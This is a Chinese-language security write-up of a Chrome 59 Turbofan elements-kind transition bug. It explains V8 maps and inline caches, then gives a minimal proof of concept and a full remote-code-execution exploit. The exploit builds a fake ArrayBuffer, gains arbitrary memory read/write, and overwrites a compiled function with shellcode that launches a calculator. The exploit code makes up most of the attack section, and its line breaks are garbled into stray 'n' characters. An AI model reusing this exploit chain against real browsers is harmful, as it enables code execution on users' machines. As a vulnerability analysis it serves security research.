Chrome Trubofan 優化不當而導致的 RCE
簡述
在這篇文章中,我們將介紹 Chrome Turbofan 編譯器觸發的 RCE。由於其對代碼優化方式不當,我們可以通過數值的形式來讀取對象(在內存地址中訪問到它們),同理,我們也能通過寫入數據的方式任意偽造對象。
對象 map
每一個對象都用一個 map 來表示對象的結構(鍵值)。兩個結構相同而值不同的對象則會擁有同樣的 map。其最常見的表現方法如下:
這裡的 map 欄位(可以理解為 map 的指針)保存了 map 對象。裡面的兩個常量數組(Extra
Properties, Elements) 則保存了額外的命名屬性及其編號屬性(又被稱為元素)。Map轉換
當我們在對象中添加屬性,原 map 會失效。為了適應新的結構,系統會創建一個新的 map。與此同時,原始的 map 中會加入轉換描述描述符以展示如何講原 map 更新。比如:
Var obj = {}; // 新建對象,創建Map M0nobj.x = 1; //添加屬性,創建了Map M1,新的Map顯示了如何存儲xnobj.y=1; // 類似上一語句n
當內聯的緩存缺失時,編譯器可以利用描述符重重新優化函數。
元素 (Elements) 種類
如上所述,對象元素實際上是編號屬性的鍵值。它們通常被保存到被對象所指向的常規數組中。對象 map 中有個名為 `ElementsKind` 的特殊欄位。它負責告訴我們該元素數組的值是否為 boxed,unboxed,contiguous,或 sparse。僅僅用元素分類的 map 不會通過轉換進行連接。
V8數組
V8引擎中的數組為有類型的 boxed 或 unboxed 數組。這可以幫助我們了解該數組是否只包含了 double 類型的值(interger 也用 double 表示)或者其它更複雜的值,比方說指向對象的指針。因為我們可以直接控制值,前一種情況又叫 *fast array*。
一圖勝千言:
(數組本身的類型決定其值是 boxed 還是 unboxed)。
假設我們一開始有一個類似左邊的數組,現在我們需要將一個對象賦值給這個 fast
array,那麼整個數組和其存在的值都會變成 boxed。V8優化
V8 編譯器先用內聯緩存產生即時編譯代碼,這時其對類型處理相對鬆散。
谷歌 V8 的文檔中,解釋如下:
「V8 在第一次執行時會將js編譯為機器碼。我們不會使用位元組碼和解釋器。但是在執行時,V8會使用其它機器指令修改內聯緩存以使其可以訪問屬性。。。」
」。。。V8 會通過預測來優化執行。如果一個類也會被未來的對象使用,V8 會根據相關信息修改指令已便使用隱藏類。如果預測成功,該屬性僅需一次操作即可賦值或取值。反之,V8 會修復這段代碼並移除優化。」
因此,編譯器只會編譯具體類型的代碼。如果下一次這段代碼執行與編譯時不同的類型,編譯器會拋出 「inline
cache miss」 錯誤並重編譯這段代碼。比方說,我們有函數 `f` 和對象 o1,o2:
f(arg_obj) {nreturn arg_obj.x;n}nvar o1 = {「x」:1, 「y」:2}nvar o2 = {「x」:1, 「t」:2}n
如果我們先讓 f 調用 o1,那麼編譯器會產生如下代碼:
(ecx holds the argument)ncmp [ecx + <hidden class offset>], <cached o1 class>njne <inline cache miss> - this will execute compiler codenmov eax, [ecx + <cached x offset>]n
當函數再次調用 o2,編譯器就會產生 「inline cahce miss」,並重編譯這段代碼。
漏洞分析
元素種類轉換
當緩存錯誤被觸發時,編譯器會保存轉述符且用 `Map::FindElementsKindTransitionedMap` 生成 `ElementsKindTransitions`。之所以使用這種方式,是因為編譯器僅需要改變`ElementsKind`。
穩定的 map
當代碼訪問元素時的操作得到了優化,那麼這個 map 便是穩定的。
當編譯器判斷一個函數使用得差不多時,那麼它就會進一步優化代碼。這時,它會調用函數`ReduceElementAccess` 以減少對對象元素的訪問,該函數會繼續使用`ComputeElementAccessInfos`。
`ComputeElementAccessInfos` 也會尋找潛在的元素轉換以方便優化。
然而當類似的轉換是由穩定的 map 產生並使用,問題產生了。它只會影響當前函數,而相同map 里的其它函數則不會被考慮進去。這會產生如下現象:
- 優化完函數後,編譯器會改變穩定 map 中的元素。另外一個函數以某種方式被優化,使其存儲/載入了同一張穩定 map 中的屬性。現在,這張 map 的某個對象被創建。第一個函數被調用,使用該對象作為函數參數,然後元素種類會被修改。
- 第二個函數被調用了,然而並不會產生內聯緩存缺失(元素種類轉換並轉到另一類map,因此不會造成緩存丟失)。
- 因為緩存沒有缺失,函數依然能存儲或載入 unboxed 元素,也就是說我們可以讀取或寫入對象指針數組。
之前的 commit 中已經提到過這個問題:「如果需要元素種類轉換時,請確保源圖處於不穩定狀態」。
當函數出現了緩存缺失時,編譯器會檢查是否可以使用元素類型轉換來糾正此問題。這個工作是由 `KeyedStoreIC::StoreElementPolymorphicHandler` 和`KeyedLoadIC::LoadElementPolymorphicHandlers` 完成的。我們 diff 一下 commit,就會發現穩定狀態的 map 會被修改為不穩定,以保證這個轉換會覆蓋所有使用該 map 的函數。
因此對函數的第一次調用會改變 map 的元素種類,`StoreElementPolymorphicHandlers` 調用
`FindElementsKindTransitionedMap` 來找元素類轉換。這樣可以確保 map 為不穩定的,從而使使用該 map 的代碼被去除優化,且未來的代碼不會在該 map 上進行優化。這樣能保證元素被正常處理了。
那麼我們應該如何從穩定的 map 中觸發元素類轉換呢?
在回答這個問題之前,我們需要了解過期 map。它指的是一個 map 的所有對象已經被替換道另一個 map 中。該 map 被設為不穩定狀態,它會被去優化且從轉換樹中移除。
如果我們看一看 `ComputeElementAccessInfos` 的源碼,我們就會發現在`FindElementsKindTransitionedMap` 前,`TryUpdate` 會先被執行。
當 `TryUpdate` 接收到過期 map 時,它會尋找其所在的樹(就是來自同一個根 map 且經過相同轉換所形成的樹)中尋找另一張沒過時的圖,並將其返回(如果存在)。
元素種類轉換所對應的原始的 map 會在 `LoadElementPolymorphicHandlers` 中被設置為不穩定狀態,並成為過時 map。TryUpdate 找到另一張 map,然後會切換到這張圖。但這張圖不會被用於優化這個函數,因此會一直被設為穩定狀態,因此,我們可以從該 map 中得到元素種類轉換。
事實上,源代碼已經有一個檢查來確保穩定的 map 不會產生轉換狀態,然而這段代碼不會影響 Chrome59。
最簡 PoC:
<script>n// 這個函數改變元素的動作會被優化nfunction change_elements_kind(a){na[0] = Array;n}n// 這個函數則會被優化值的讀取,nfunction read_as_unboxed(){nreturn evil[0];n}nn// 為了編譯該函數,我們需要先調用它nchange_elements_kind({});nn// 新建對象M0nmap_manipulator = new Array(1.0,2.3);n// 添加x到M0,由於值的更改,M0則會被變換冊M1nmap_manipulator.x = 7;n// 用這個對象調用函數,V8會生成M1版的函數nchange_elements_kind(map_manipulator);nn// 改變x的原型類型,前一個x會從M0和M1中移除。編譯器標記M1為過時,併產生M2nmap_manipulator.x = {};nnnn// 生成有漏洞的對象nevil = new Array(1.1,2.2);nevil.x = {};nnx = new Array({});n// 優化change_elements_kindn// ReduceElementAccess會被調用,ReduceElementAccess會被調用,這個函數又會使用ComputeElementAccessInfos。n// 下面這個循環中,由於x和M2有著相同的屬性,編譯器會為M2添加元素類型轉換nfor(var i = 0;i<0x50000;i++){nchange_elements_kind(x);n} nn// 優化read_as_unboxed. Evil是M2 map的一個實例,因此函數對元素的讀取會被優化nfor(var i = 0;i<0x50000;i++){nread_as_unboxed();n}nnchange_elements_kind(evil);nn// 調用read_as_unboxed,它依然是M2,不過這個版本會假設元素數組中的值為unboxed。因此Array構造函數的指針會被當雙精度返回。nalert(read_as_unboxed());n</script>n
完整 PoC:
下面的 Poc 可以在 Chrome59 -no-sandbox 模式下運行並彈出計算器,我們的思路如下:
- 用漏洞讀取 `arraybuffer.__proto__` 的地址
- 我們創建假的 arraybuffer map(通過 arraybuffer 原型指向的地址),再讀取該 map 的地址
- 利用 map 的地址,我們即可創建 arraybuffer。再次得到其地址。
- 通過創建的 arraybuffer,我們可以向 boxed元素數組中寫入指針。另外,我們也可以修改 arraybuffer,讓其反射用戶態內存。再一次利用這個漏洞,讀取已編譯函數的地址,然後使用讀/寫許可權將我們的 shellcode 覆蓋這個地址,最後,調用這個函數執行我們的 shellcode。
<script>nnvar shellcode =n[0xe48348fc,0x00c0e8f0,0x51410000,0x51525041,0xd2314856,0x528b4865,0x528b4860,0x528b4818,0x728b4820,0xb70f4850,0x314d4a4a,0xc03148c9,0x7c613cac,0x41202c02,0x410dc9c1,0xede2c101,0x48514152,0x8b20528b,0x01483c42,0x88808bd0,0x48000000,0x6774c085,0x50d00148,0x4418488b,0x4920408b,0x56e3d001,0x41c9ff48,0x4888348b,0x314dd601,0xc03148c9,0xc9c141ac,0xc101410d,0xf175e038,0x244c034c,0xd1394508,0x4458d875,0x4924408b,0x4166d001,0x44480c8b,0x491c408b,0x8b41d001,0x01488804,0x415841d0,0x5a595e58,0x59415841,0x83485a41,0x524120ec,0x4158e0ff,0x8b485a59,0xff57e912,0x485dffff,0x000001ba,0x00000000,0x8d8d4800,0x00000101,0x8b31ba41,0xd5ff876f,0xa2b5f0bb,0xa6ba4156,0xff9dbd95,0xc48348d5,0x7c063c28,0xe0fb800a,0x47bb0575,0x6a6f7213,0x89415900,0x63d5ffda,0x00636c61]nnvar arraybuffer = new ArrayBuffer(20);nflag = 0;nfunction gc(){nfor(varni=0;i<0x100000/0x10;i++){nnew String;n}n}nfunction d2u(num1,num2){nd = new Uint32Array(2);nd[0] = num2;nd[1] = num1;nf = newnFloat64Array(d.buffer);nreturn f[0];n}nfunction u2d(num){nf = new Float64Array(1);nf[0] = num;nd = newnUint32Array(f.buffer);nreturn d[1] * 0x100000000n+ d[0];n}nfunction change_to_float(intarr,floatarr){nvar j = 0;nfor(var i = 0;i <nintarr.length;i = i+2){nvar re =nd2u(intarr[i+1],intarr[i]);nfloatarr[j] = re;nj++;n}n}nfunction change_elements_kind_array(a){na[0] = Array;n}noptimizer3 = new Array({});noptimizer3.x3 = {};nchange_elements_kind_array(optimizer3);nmap_manipulator3 = new Array(1.1,2.2);nmap_manipulator3.x3 = 0x123;nchange_elements_kind_array(map_manipulator3);nnmap_manipulator3.x3 = {};nnevil3 = new Array(1.1,2.2);nevil3.x3 = {};nfor(var i = 0;i<0x100000;i++){nchange_elements_kind_array(optimizer3);n}nn/******************************* step 1 read ArrayBuffer __proto__ address ***************************************/nfunction change_elements_kind_parameter(a,obj){narguments;na[0] = obj;n}noptimizer4 = new Array({});noptimizer4.x4 = {};nchange_elements_kind_parameter(optimizer4);nmap_manipulator4 = new Array(1.1,2.2);nmap_manipulator4.x4 = 0x123;nchange_elements_kind_parameter(map_manipulator4);nnmap_manipulator4.x4 = {};nnevil4 = new Array(1.1,2.2);nevil4.x4 = {};nfor(var i = 0;i<0x100000;i++){nchange_elements_kind_parameter(optimizer4,arraybuffer.__proto__);n}nnfunction e4(){nreturn evil4[0];n}nnfor(var i = 0;i<0x100000;i++){ne4();n}nnchange_elements_kind_parameter(evil4,arraybuffer.__proto__);nab_proto_addr = u2d(e4());nnvar nop = 0xdaba0000;nvar ab_map_obj = [nnop,nop,n0x1f000008,0x000900c3, //chromen59n//0x0d00000a,0x000900c4, //chromen61n0x082003ff,0x0,nnop,nop, // use ut32.prototype replace itnnop,nop,0x0,0x0n]nab_constructor_addr = ab_proto_addr - 0x70;nab_map_obj[0x6] = ab_proto_addr & 0xffffffff;nab_map_obj[0x7] = ab_proto_addr / 0x100000000;nab_map_obj[0x8] = ab_constructor_addr & 0xffffffff;nab_map_obj[0x9] = ab_constructor_addr / 0x100000000;nfloat_arr = [];nngc();nvar ab_map_obj_float = [1.1,1.1,1.1,1.1,1.1,1.1];nchange_to_float(ab_map_obj,ab_map_obj_float);nn/******************************* step 2 read fake_ab_map_ address ***************************************/nnchange_elements_kind_parameter(evil4,ab_map_obj_float);nab_map_obj_addr = u2d(e4())+0x40;nnvar fake_ab = [nab_map_obj_addr &n0xffffffff, ab_map_obj_addr / 0x100000000,nab_map_obj_addr &n0xffffffff, ab_map_obj_addr / 0x100000000,nab_map_obj_addr &n0xffffffff, ab_map_obj_addr / 0x100000000,n0x0,0x4000, /* buffernlength */n0x12345678,0x123,/* buffernaddress */n0x4,0x0n]nvar fake_ab_float = [1.1,1.1,1.1,1.1,1.1,1.1];nchange_to_float(fake_ab,fake_ab_float);nn/******************************* step 3 read fake_ArrayBuffer_address ***************************************/nnchange_elements_kind_parameter(evil4,fake_ab_float);nfake_ab_float_addr = u2d(e4())+0x40;nn/******************************* step 4 fake a ArrayBuffer ***************************************/nnfake_ab_float_addr_f = d2u(fake_ab_float_addr /n0x100000000,fake_ab_float_addr & 0xffffffff).toString();nneval(function e3(){ evil3[1]n= +fake_ab_float_addr_f+;})nfor(var i = 0;i<0x6000;i++){ne3();n}nchange_elements_kind_array(evil3);ne3();nfake_arraybuffer = evil3[1];nif(fake_arraybuffer instanceof ArrayBuffer == true){n}nfake_dv = new DataView(fake_arraybuffer,0,0x4000);nn/******************************* step 5 Read a Function Address ***************************************/nnvar func_body = "eval();";nnvar function_to_shellcode = new Function("a",func_body);nnchange_elements_kind_parameter(evil4,function_to_shellcode);nnshellcode_address_ref = u2d(e4()) + 0x38-1;nn/************************************** And now,we get arbitrary memory readnwrite!!!!!! ******************************************/nnfunction Read32(addr){nfake_ab_float[4] =nd2u(addr / 0x100000000,addr & 0xffffffff);nreturnnfake_dv.getUint32(0,true);n}nfunctionnWrite32(addr,value){nfake_ab_float[4] =nd2u(addr / 0x100000000,addr & 0xffffffff);nalert("w");nfake_dv.setUint32(0,value,true);n}nshellcode_address =nRead32(shellcode_address_ref) + Read32(shellcode_address_ref+0x4) *n0x100000000;;nnvar addr =nshellcode_address;nnfake_ab_float[4] =nd2u(addr / 0x100000000,addr & 0xffffffff);nfor(var i = 0; i <nshellcode.length;i++){nvar value =nshellcode[i]; nfake_dv.setUint32(i *n4,value,true);n}nalert("boom");nfunction_to_shellcode();nn</script>n
參考:https://blogs.securiteam.com/index.php/archives/3379
推薦閱讀:
※常見web攻擊
※金石人才培養計劃導師公布啦!——你敢說你不認識他們嗎?!
※淺談DDos攻擊與防禦
※網路掃黃,從技術上如何實現?
※XPwn 2016 | 做安全就做未來安全